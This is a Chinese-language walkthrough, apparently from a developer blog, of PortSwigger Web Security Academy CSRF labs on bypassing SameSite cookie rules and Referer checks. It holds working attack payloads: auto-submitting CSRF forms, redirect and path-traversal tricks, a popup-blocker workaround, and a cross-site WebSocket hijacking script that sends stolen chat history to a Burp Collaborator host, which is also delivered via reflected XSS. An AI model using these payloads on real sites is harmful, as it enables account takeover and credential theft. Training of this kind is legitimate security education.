实验7：通过方法覆盖绕过SameSite Lax

信息：

1、本实验的更改电子邮件功能易受CSRF攻击

2、完成实验：执行更改受害者电子邮件地址的CSRF攻击。应该使用提供的利用漏洞攻击服务器来承载攻击

3、已有账号：wiener:peter

part1:

1、登陆账号，更改电子邮件，在HTTP历史记录选项卡中找到

2、研究POST /my-account/change-email请求，注意到它不包含任何不可预测的令牌，因此如果可以绕过SameSite cookie限制，可能容易受到CSRF的攻击。

3、查看对POST /login请求的响应，网站在设置会话Cookie时没有明确指定任何SameSite限制。因此，浏览器将使用默认的Lax限制级别。

这意味着会话cookie将在跨站点GET请求中发送，只要它们涉及顶级导航。

part2:

绕过SameSite限制

4、发送POST /my-account/change-email请求到BP的repeater

5、在Burp Repeater中，右键单击请求并选择Change request method（更改请求方法）。Burp会自动生成一个等价的GET请求。发送请求，观察只允许POST请求。

6、尝试通过向查询字符串添加_method参数来重写该方法：

GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1

7、发送请求，注意到这似乎已被服务器接受。（在浏览器中，转到您的帐户页面，确认您的电子邮件地址已更改）

part3:

完成实验

8、转到利用漏洞攻击服务器，在Body部分中，创建一个HTML/JavaScript有效负载，该有效负载会诱使查看者的浏览器发出恶意GET请求。必须导致顶级导航，以便包含会话cookie。

以下是一种可能的方法：

<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>
我的是：
<script>
    document.location = "https://0ada004903795585c000272900bb00fe.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

9、存储并查看您自己的漏洞（store）。确认此操作已成功更改您在目标站点上的电子邮件地址（view exploit）

发送给victim解决实验

5、使用现场小工具绕过SameSite限制

1、如果cookie设置了SameSite=Strict属性，浏览器将不会在任何跨站点请求中包含它。如果可以在同一站点中找到导致第二个请求的小工具，则可以绕过此限制。

2、一个可能的小工具是客户端重定向，它使用攻击者可控制的输入（如URL参数）动态构造重定向目标。

3、就浏览器而言，这些客户端重定向根本不是真正的重定向；所得到的请求仅被视为普通的独立请求。最重要的是，这是一个相同网站的请求，因此，将包括与该网站相关的所有Cookie，无论是否存在任何限制。

4、如果可以操纵这个小工具来引发恶意的第二个请求，那么就可以完全绕过任何SameSite cookie限制

5、服务器端重定向不可能进行等效攻击。在这种情况下，浏览器会识别出跟随重定向的请求最初是由跨站点请求引起的，因此它们仍然会应用适当的Cookie限制。

6、涉及实验：

实验8：通过客户端重定向绕过SameSite Strict

1、本实验的更改电子邮件功能易受CSRF攻击

2、完成实验：执行更改受害者电子邮件地址的CSRF攻击。应该使用提供的利用漏洞攻击服务器来承载攻击

3、已有账号：wiener:peter

part1:

登录帐户,并更改您的电子邮件地址,转到HTTP历史记录中

研究POST/my-account/change-email请求并注意到它不包含任何不可预测的令牌，因此如果可以绕过任何SameSite cookie限制，可能容易受到CSRF的攻击

查看对POST/login请求的响应。（网站在设置会话Cookie时明确指定了SameSite = Strict。这可防止浏览器在跨站点请求中包含这些Cookie）

part2:

在浏览器中，转到其中一篇博客文章并发表任意评论。注意到最初被发送到确认页面/post/comment/confirmation?postId=x，但几秒钟后，将返回到博客帖子。

自动跳回博客

在Burp中，转到代理历史记录，注意这个重定向是在客户端使用导入的JavaScript文件/resources/js/commentConfirmationRedirect.js处理的。

研究JavaScript并注意到它使用postId查询参数来动态构造客户端重定向的路径。

在代理历史记录中，右键单击GET/post/comment/confirmation?postId=x请求并选择复制URL。

在浏览器中，访问此URL，但将postId参数更改为任意字符串。/post/comment/confirmation?postId=foo

（这个是跳转处理前的评论成功请求）

然后再次跳转对应的链接（因为不存在，所以找不到）

但重定向是没有检查的

在客户端JavaScript尝试将重定向到包含注入字符串的路径（例如/post/foo）之前，最初看到的是post确认页面。

注入一个路径遍历序列，以便动态构建的重定向URL将指向帐户页面

/post/comment/confirmation?postId=1/../../my-account

观察浏览器是否正常化此URL并成功将您带到帐户页面。这确认可以使用postId参数来引发对目标站点上任意端点的GET请求

part3:

绕过SameSite限制

在浏览器中，转到漏洞利用服务器并创建一个脚本，该脚本诱导查看者的浏览器发送刚刚测试的GET请求。

以下是一种可能的方法：
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>
我的是：
<script>
    document.location = "https://0a2000fb033590aec1de715a0082005b.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>

存储(store)并查看漏洞（view exploit）

当客户端重定向发生时，仍然会看到登录帐户页面。这证实了浏览器在第二个请求中包含了已验证会话cookie，即使最初的评论提交请求是从任意外部站点发起的

part4:

利用，发送POST /my-account/change-email请求到BP

在Burp Repeater中，右键单击请求并选择Change request method（更改请求方法）。Burp会自动生成一个等价的GET请求。发送请求，注意到端点允许您使用GET请求更改电子邮件地址。

返回漏洞攻击服务器并更改漏洞攻击中的postId参数，以便重定向导致浏览器发送等效的GET请求来更改您的电子邮件地址：

<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
我的是：
<script>
    document.location = "https://0a2000fb033590aec1de715a0082005b.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>

需要包含submit参数和URL编码的和分隔符，以避免在初始设置请求中中断postId参数。

自己测试该漏洞（view exploit），并确认您已成功更改电子邮件地址。再将漏洞发送给victim

完成实验

6、通过易受攻击的同级域绕过SameSite限制

1、无论是在测试别人的网站还是尝试保护自己的网站，都必须记住，即使请求是跨源发出的，它仍然可以是同一个网站。

2、确保彻底审核所有可用的攻击面，包括任何同级域。特别是允许引发任意次要请求的漏洞，例如 XSS语言，可能会完全破坏基于站点的防御，使站点的所有域都暴露在跨站点攻击之下。

3、除了经典的CSRF之外，如果目标网站支持WebSocket，则此功能可能容易受到跨站点WebSocket劫持（CSWSH）的攻击，CSWSH本质上只是针对WebSocket握手的CSRF攻击。

4、涉及实验：

实验9：通过兄弟域严格绕过SameSite

1、本实验的实时聊天功能容易受到跨站点WebSocket劫持（CSWSH）的攻击

2、解决实验：登录受害者的账户.

3、使用提供的漏洞利用服务器执行CSWSH攻击，将受害者的聊天历史泄漏到默认Burp Collaborator服务器。聊天历史记录包含纯文本形式的登录凭据。

part1：

学习实时聊天功能

BP代理，进入实时聊天功能并发送几条消息，HTTP history中找到WebSocket握手请求

它不包含任何不可预测的令牌，因此如果可以绕过任何SameSite cookie限制，则可能容易受到CSWSH的攻击

在浏览器中，刷新实时聊天页面。

历史记录选项卡。刷新页时，浏览器会向服务器发送READY消息。这将导致服务器以整个聊天历史记录进行响应

part2:

确认CSWSH漏洞

转到Collaborator选项卡，然后复制到剪贴板

fk3ogs2u3x8d3mfm0lw9gaglkcq2er.burpcollaborator.net

转到利用漏洞攻击服务器并使用以下模板创建CSWSH概念验证脚本：

<script>
    var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
我的是：
<script>
    var ws = new WebSocket('wss://0a0b005204975a91c040c25f005e0071.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://fk3ogs2u3x8d3mfm0lw9gaglkcq2er.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

存储（store）和查看漏洞（view）

返回Collaborator选项卡并单击刷新。收到了一个HTTP交互，表明已经打开了一个与目标站点的新的实时聊天连接

尽管已经确认了CSWSH漏洞，但只是泄漏了一个全新会话的聊天历史记录，这并不是特别有用

HTTP history选项卡并找到由脚本触发的WebSocket握手请求。这应该是最近的GET/聊天请求。

会话cookie没有随请求一起发送。

在响应中，网站在设置会话cookie时显式指定了SameSite = Strict。这可防止浏览器在跨站点请求中包含这些Cookie

part3:

识别同一“站点”中的其他漏洞

阅览BP代理历史记录，注意对脚本和图像文件等资源请求的响应包含一个Access-Control-Allow-Origin头，它显示了一个兄弟域cms-YOUR-LAB-ID.web-security-academy.net

多了一个cms-

https://cms-0a0b005204975a91c040c25f005e0071.web-security-academy.net

在浏览器中，访问此新URL以发现其他登录表单

提交一些任意的登录凭据，然后观察用户名是否反映在Invalid username消息的响应中。

尝试通过username参数注入XSS有效负载

<script>alert(1)</script>

观察到alert()被调用，确认这是一个可行的反射XSS

将包含XSS有效负载的POST /登录请求发送到Burp Repeater。

在Burp Repeater中，右键单击请求并选择Change request method（更改请求方法），将方法转换为GET。确认它仍然收到相同的响应

再次右键单击请求并选择复制URL。在浏览器中访问此URL并确认仍然可以触发XSS。由于此兄弟域是同一站点的一部分，因此可以使用此XSS来发起CSWSH攻击，而无需通过SameSite限制来缓解

http://burp/show/3/wxagw5m9uqkkr2jbvtded0uy2tqww68s

part4:

绕过SameSite限制重新创建之前在利用漏洞攻击服务器上测试的CSWSH脚本。

<script>
    var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
我的是：
<script>
    var ws = new WebSocket('wss://0a0b005204975a91c040c25f005e0071.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://au8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

URL编码整个脚本

%3Cscript%3E%0A%20%20%20%20var%20ws%20%3D%20new%20WebSocket('wss%3A%2F%2F0a0b005204975a91c040c25f005e0071.web-security-academy.net%2Fchat')%3B%0A%20%20%20%20ws.onopen%20%3D%20function()%20%7B%0A%20%20%20%20%20%20%20%20ws.send(%22READY%22)%3B%0A%20%20%20%20%7D%3B%0A%20%20%20%20ws.onmessage%20%3D%20function(event)%20%7B%0A%20%20%20%20%20%20%20%20fetch('https%3A%2F%2Fau8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net'%2C%20%7Bmethod%3A%20'POST'%2C%20mode%3A%20'no-cors'%2C%20body%3A%20event.data%7D)%3B%0A%20%20%20%20%7D%3B%0A%3C%2Fscript%3E

返回到利用漏洞攻击服务器并创建一个脚本，该脚本引导查看者的浏览器发送您刚刚测试的GET请求，但使用URL编码的CSWSH负载作为username参数。以下是一种可能的方法：

<script>
    document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything";
</script>
我的是：
<script>
    document.location = "https://cms-0a0b005204975a91c040c25f005e0071.web-security-academy.net/login?username=%3Cscript%3E%0A%20%20%20%20var%20ws%20%3D%20new%20WebSocket('wss%3A%2F%2F0a0b005204975a91c040c25f005e0071.web-security-academy.net%2Fchat')%3B%0A%20%20%20%20ws.onopen%20%3D%20function()%20%7B%0A%20%20%20%20%20%20%20%20ws.send(%22READY%22)%3B%0A%20%20%20%20%7D%3B%0A%20%20%20%20ws.onmessage%20%3D%20function(event)%20%7B%0A%20%20%20%20%20%20%20%20fetch('https%3A%2F%2Fau8jqncpdsi8dhphag64q5qgu70yon.burpcollaborator.net'%2C%20%7Bmethod%3A%20'POST'%2C%20mode%3A%20'no-cors'%2C%20body%3A%20event.data%7D)%3B%0A%20%20%20%20%7D%3B%0A%3C%2Fscript%3E&password=anything";
</script>

存储（store）并查看自己能否触发漏洞（view）

返回Collaborator选项卡并刷新。收到了许多新的交互，其中包含整个聊天历史记录。

HTTP history选项卡并找到由脚本触发的WebSocket握手请求。这应该是最近的GET/聊天请求。

确认此请求确实包含您的会话Cookie。由于该请求是从易受攻击的兄弟域发起的，因此浏览器将其视为同一站点请求。

part5:

完成实验

登陆成功

7、使用新发布的Cookie绕过SameSite Lax限制

1、cookie 松弛 SameSite限制通常不会跨站点发送后请求，但也有一些例外

2、如果网站不包含 SameSite 设置Cookie时，Chrome会自动应用松弛限制。但为了避免破坏单点登录（SSO）机制，它实际上并不在顶层的前120秒内强制执行这些限制后请求。因此，存在两分钟的窗口，在此期间用户可能容易受到跨站点攻击

（此两分钟的窗口不适用于使用显式设置的Cookie 相同部位=松弛属性）

3、尝试在这么短的时间内发动攻击有点不切实际。另一方面，如果可以在站点上找到一个小工具，能够强制向受害者发送新的会话cookie，则可以在跟踪主要攻击之前抢先刷新他们的cookie。如完成一个基于OAuth的登录流程可能会导致每次都有一个新会话，因为OAuth服务不一定知道用户是否仍然登录到目标站点。

4、要触发cookie刷新而不需要受害者再次手动登录，需要使用顶级域名，以确保与其当前开放认证包括会话。这带来了额外的挑战，因为需要将用户重定向回站点，以便可以发动CSRF攻击。

或者可以从新选项卡触发cookie刷新，这样浏览器在能够进行最终攻击之前不会离开页面。这种方法的一个小问题是浏览器会阻止弹出选项卡，除非它们是通过手动交互打开的。

如默认情况下，浏览器将阻止以下弹出窗口：
window.open('https://vulnerable-website.com/login/sso');
若要解决此问题，可以将语句包装在onclick事件处理程序中，如下所示：
window.onclick =()=> {
    window.open('https://vulnerable-website.com/login/sso');
}
这样， window.open()方法只有在用户单击页面上的某个位置时才会被调用。

5、涉及实验

实验10：通过cookie刷新绕过SameSite Lax

1、本实验的更改电子邮件功能易受CSRF攻击

2、完成本实验：执行更改受害者电子邮件地址的CSRF攻击。应该使用提供的利用漏洞攻击服务器来承载攻击

3、已有账号：wiener:peter

part1:

帐户登录并更改电子邮件地址，HTTP历史记录中分析数据包

研究POST/my-account/change-email请求并注意到它不包含任何不可预测的令牌，因此如果可以绕过任何SameSite cookie限制，可能容易受到CSRF的攻击

查看GET /oauth-callback?code=[...]在OAuth流结束时请求。网站在设置会话Cookie时没有明确指定任何SameSite限制。因此，浏览器将使用默认的Lax限制级别

part2:

尝试CSRF攻击

在浏览器中，转到利用漏洞攻击服务器。

使用以下模板创建更改受害者电子邮件地址的基本CSRF攻击：

<script>
    history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="foo@bar.com" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>
我的是：
<script>
    history.pushState('', '', '/')
</script>
<form action="https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="foo@bar.com" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>

存储（store）并查看漏洞

接下来会发生什么取决于自登录以来所经过的时间：
    1、如果超过两分钟，将通过OAuth流登录，攻击将失败。在这种情况下，请立即重复此步骤。
    2、如果在不到两分钟前登录，则攻击成功，电子邮件地址已更改。

攻击成功

HTTP历史记录选项卡，找到POST /my-account/change-email请求，并确认会话cookie是否包含在内，即使这是一个跨站点POST请求

（cookie被携带）

part3:

绕过SameSite限制

如果访问/social-login，将自动启动完整的OAuth流。如果仍然与OAuth服务器有一个登录会话，那么这一切都不会发生任何交互。

从代理历史记录中可以看到，每次完成OAuth流时，目标站点都会设置一个新的会话cookie，即使已经登录（因为每次请求完他会set-cookie）

返回到漏洞利用服务器，更改JavaScript，使攻击者首先通过强制浏览器访问/social-login来刷新受害者的会话，然后在短暂停顿后提交电子邮件更改请求。以下是一种可能的方法：

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
    window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);
    function changeEmail(){
        document.forms[0].submit();
    }
</script>
我的是：
<form method="POST" action="https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
    window.open('https://0a3f00c7035245fbc295ac0c00560021.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);
    function changeEmail(){
        document.forms[0].submit();
    }
</script>

在新窗口中打开/social-login，以避免在发送更改电子邮件请求之前导航离开该漏洞

存储（store）并查看漏洞（view）。观察到初始请求被浏览器的弹出窗口阻止程序阻止

观察暂停后，CSRF攻击仍在启动。但只有在设置Cookie后不到两分钟的时间内，此操作才能成功。否则攻击将失败，因为弹出窗口阻止程序会阻止强制cookie刷新

part4:

绕过弹出窗口阻止程序

意识到弹出窗口被阻止是因为没有手动与页面交互。

调整利用漏洞攻击，使其诱使受害者单击页面，并仅在用户单击后打开弹出窗口。以下是一种可能的方法：

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }
    function changeEmail() {
        document.forms[0].submit();
    }
</script>

1、出现提示时，单击页面。这将触发OAuth流并发出一个新的会话cookie。5秒后，注意CSRF攻击被发送，POST /my-account/change-email请求包含新会话cookie。

（转到帐户页面并确认电子邮件地址已更改）

————

2、返回利用漏洞攻击服务器并将利用漏洞攻击发送给受害者

短暂的停顿后，完成实验

四、绕过基于引用的CSRF防御

1、简述：

除了使用CSRF令牌的防御之外，一些应用程序还利用HTTP Referer报头来尝试防御CSRF攻击，通常是通过验证请求是否来自应用程序自己的域。这种方法通常效果不佳，而且常常被绕过。

2、引用方的验证取决于是否存在标头

1、某些应用程序验证Referer标头（当它出现在请求中时），但如果标头被省略，则跳过验证。

在这种情况下，攻击者可以创建其 CSRF漏洞利用导致受害用户的浏览器删除Referer标题在结果请求中。

有多种方法可以实现这一点，但最简单的方法是在承载 CSRF攻击：
<meta name="referrer" content="never">

2、涉及实验：

实验11：CSRF，其中Referer验证取决于是否存在标头

1、本实验的电子邮件更改功能易受CSRF攻击。它试图阻止跨域请求，但有一个不安全的后备。

2、解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址

3、已有账号：wiener:peter

part1:

登录帐户。提交"更新电子邮件"表单

并在代理历史记录中查找生成的请求,将请求发送到Burp Repeater

并观察如果更改Referer HTTP头中的域，则请求将被拒绝

完全删除Referer标头，并观察请求现在已被接受

part2:

创建并托管概念利用验证，包含以下HTML以隐藏"引用者"标题：

<meta name="referrer" content="no-referrer">

生成poc，并加上上述的referrer设置

完整的为

<meta name="referrer" content="no-referrer">
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ade00340423eac1c0e745e900c40005.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="Cookie&#58;&#32;session" value="vnfo6JaZrfEqBxULoEnwjJiA9YGwtd2g" />
      <input type="hidden" name="Upgrade&#45;Insecure&#45;Requests&#58;&#32;1" value="" />
      <input type="hidden" name="Sec&#45;Fetch&#45;Dest&#58;&#32;document" value="" />
      <input type="hidden" name="Sec&#45;Fetch&#45;Mode&#58;&#32;navigate" value="" />
      <input type="hidden" name="Sec&#45;Fetch&#45;Site&#58;&#32;same&#45;origin" value="" />
      <input type="hidden" name="Sec&#45;Fetch&#45;User&#58;&#32;&#63;1" value="" />
      <input type="hidden" name="email" value="111111&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

存储(store)漏洞，然后单击"Deliver to victim"（发送给受害者）

完成实验

3、可以绕过引用方的验证

1、某些应用程序验证Referer报头以一种可以被绕过的简单方式。

1、如应用程序验证Referer以预期值开始，则攻击者可以将其作为自己域的子域：
http://vulnerable-website.com.attacker-website.com/csrf-attack
2、如果应用程序只是验证Referer包含其自己的域名，则攻击者可以将所需的值放在URL中的其他位置：
http://attacker-website.com/csrf-attack?vulnerable-website.com

2、尽管可以使用Burp来识别这种行为，但是当在浏览器中测试概念证明时，经常会发现这种方法不再起作用。为了降低敏感数据以这种方式泄漏的风险，许多浏览器现在将查询字符串从Referer标头

3、可以通过确保包含利用漏洞攻击的响应具有Referrer-Policy: unsafe-ur标题集。这样可以确保发送完整的URL，包括查询字符串。

4、涉及实验：

实验12：引用方验证中断的CSRF

本实验的电子邮件更改功能易受CSRF攻击。它尝试检测和阻止跨域请求，但可以绕过检测机制。

解决实验：使用漏洞攻击服务器托管一个HTML页面，该页面使用CSRF攻击来更改查看者的电子邮件地址。

已有账号：wiener:peter

part1：

登录帐户。提交"更新电子邮件"表单，并在代理历史记录中查找生成的请求

发送请求到BP repeater。如果更改Referer HTTP头中的域，则请求将被拒绝

复制实验实例的原始域，并将其以查询字符串的形式附加到Referer头中

Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
我的是：
Referer: https://arbitrary-incorrect-domain.net?0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net

发送请求并观察请求现在是否已被接受。该网站似乎接受任何引用头，只要它包含预期的域某处的字符串

part2：

按照无防御CSRF漏洞解决方案实验室中的说明创建CSRF概念攻击验证

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111111&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

并将其托管在攻击服务器上。编辑JavaScript，使history.pushState()函数的第三个参数包含一个查询字符串，其中包含实验室实例URL，如下所示：

history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net")
我的是：
history.pushState("", "", "/?https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net")

这将导致生成的请求中的Referer标头在查询字符串中包含目标站点的URL，就像前面测试的那样

CSRF完整poc：
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111111&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState("", "", "/?https://0ae8003d0469e3dac50a8b0a009e0035.web-security-academy.net")
      document.forms[0].submit();
    </script>
  </body>
</html>

如果存储该利用漏洞攻击并通过单击"查看利用漏洞攻击"进行测试，则可能会再次遇到"invalid Referer header"错误。这是因为作为一种安全措施，许多浏览器现在默认从Referer头中剥离查询字符串。要覆盖此行为并确保请求中包含完整的URL，请返回利用漏洞攻击服务器并将以下标题添

加到"Head"部分：
Referrer-Policy: unsafe-url
（注意，与普通的Referer头不同）

part3：

完成实验

存储（store）漏洞，然后单击"Deliver to victim"（发送给受害者）

完成实验

【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验（全）（下）

实验7：通过方法覆盖绕过SameSite Lax

5、使用现场小工具绕过SameSite限制

实验8：通过客户端重定向绕过SameSite Strict

6、通过易受攻击的同级域绕过SameSite限制

实验9：通过兄弟域严格绕过SameSite

7、使用新发布的Cookie绕过SameSite Lax限制

实验10：通过cookie刷新绕过SameSite Lax

四、绕过基于引用的CSRF防御

1、简述：

2、引用方的验证取决于是否存在标头

实验11：CSRF，其中Referer验证取决于是否存在标头

3、可以绕过引用方的验证

实验12：引用方验证中断的CSRF

热门文章

最新文章

相关课程

相关电子书

相关实验场景

热门

活动广场

任务中心

开发者评测

高校计划

乘风者计划

训练营

阿里云MVP

话题

直播

下载

镜像站

技术资料

插件

【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验（全）（下）

实验7：通过方法覆盖绕过SameSite Lax

5、使用现场小工具绕过SameSite限制

实验8：通过客户端重定向绕过SameSite Strict

6、通过易受攻击的同级域绕过SameSite限制

实验9：通过兄弟域严格绕过SameSite

7、使用新发布的Cookie绕过SameSite Lax限制

实验10：通过cookie刷新绕过SameSite Lax

四、绕过基于引用的CSRF防御

1、简述：

2、引用方的验证取决于是否存在标头

实验11：CSRF，其中Referer验证取决于是否存在标头

3、可以绕过引用方的验证

实验12：引用方验证中断的CSRF

热门文章

最新文章

相关课程

相关电子书

相关实验场景